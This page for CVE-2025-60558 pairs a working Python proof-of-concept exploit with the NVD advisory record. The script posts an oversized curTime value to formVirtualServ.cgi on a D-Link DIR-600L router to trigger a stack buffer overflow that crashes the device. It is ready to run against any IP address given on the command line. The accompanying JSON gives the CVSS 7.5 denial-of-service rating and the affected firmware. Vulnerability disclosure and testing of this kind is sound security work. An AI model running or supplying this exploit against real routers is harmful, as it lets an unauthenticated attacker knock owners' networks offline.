CVE-2025-60558

#!/usr/bin/env python3 """ CVE-2025-60558 PoC - D-Link DIR600L Ax Buffer Overflow in formVirtualServ This PoC demonstrates sending an oversized curTime parameter to trigger buffer overflow. Note: Use only for authorized security testing. """ import requests import sys TARGET_IP = "192.168.0.1" # Router IP TARGET_PORT = 80 PAYLOAD_SIZE = 1000 # Oversized payload to trigger overflow def exploit_buffer_overflow(): """ Send malicious request to formVirtualServ with oversized curTime parameter """ url = f"http://{TARGET_IP}:{TARGET_PORT}/formVirtualServ.cgi" # Create oversized payload for curTime parameter overflow_payload = "A" * PAYLOAD_SIZE # Prepare the malicious data data = { "curTime": overflow_payload, "submit-url": "/ADV_virtual_server.htm", } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {PAYLOAD_SIZE} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Exploit sent. Check router status.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] exploit_buffer_overflow()

{"cve": {"id": "CVE-2025-60558", "sourceIdentifier": "[email protected]", "published": "2025-10-24T16:22:31.100", "lastModified": "2025-10-28T02:30:54.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR600L Ax FW116WWb01 was discovered to contain a buffer overflow via the curTime parameter in the function formVirtualServ."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:1.16wwb01:*:*:*:*:*:*:*", "matchCriteriaId": "26C58719-CA17-439C-8A0C-349F6E2BB578"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:*", "matchCriteriaId": "F75E7D9C-03BE-4301-AF9E-9929C33F4EEA"}]}]}], "references": [{"url": "https://github.com/luckysmallbird/DLINK-DIR600LAx-Vulnerability/blob/main/16-buffer%20overflow-formVirtualServ.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}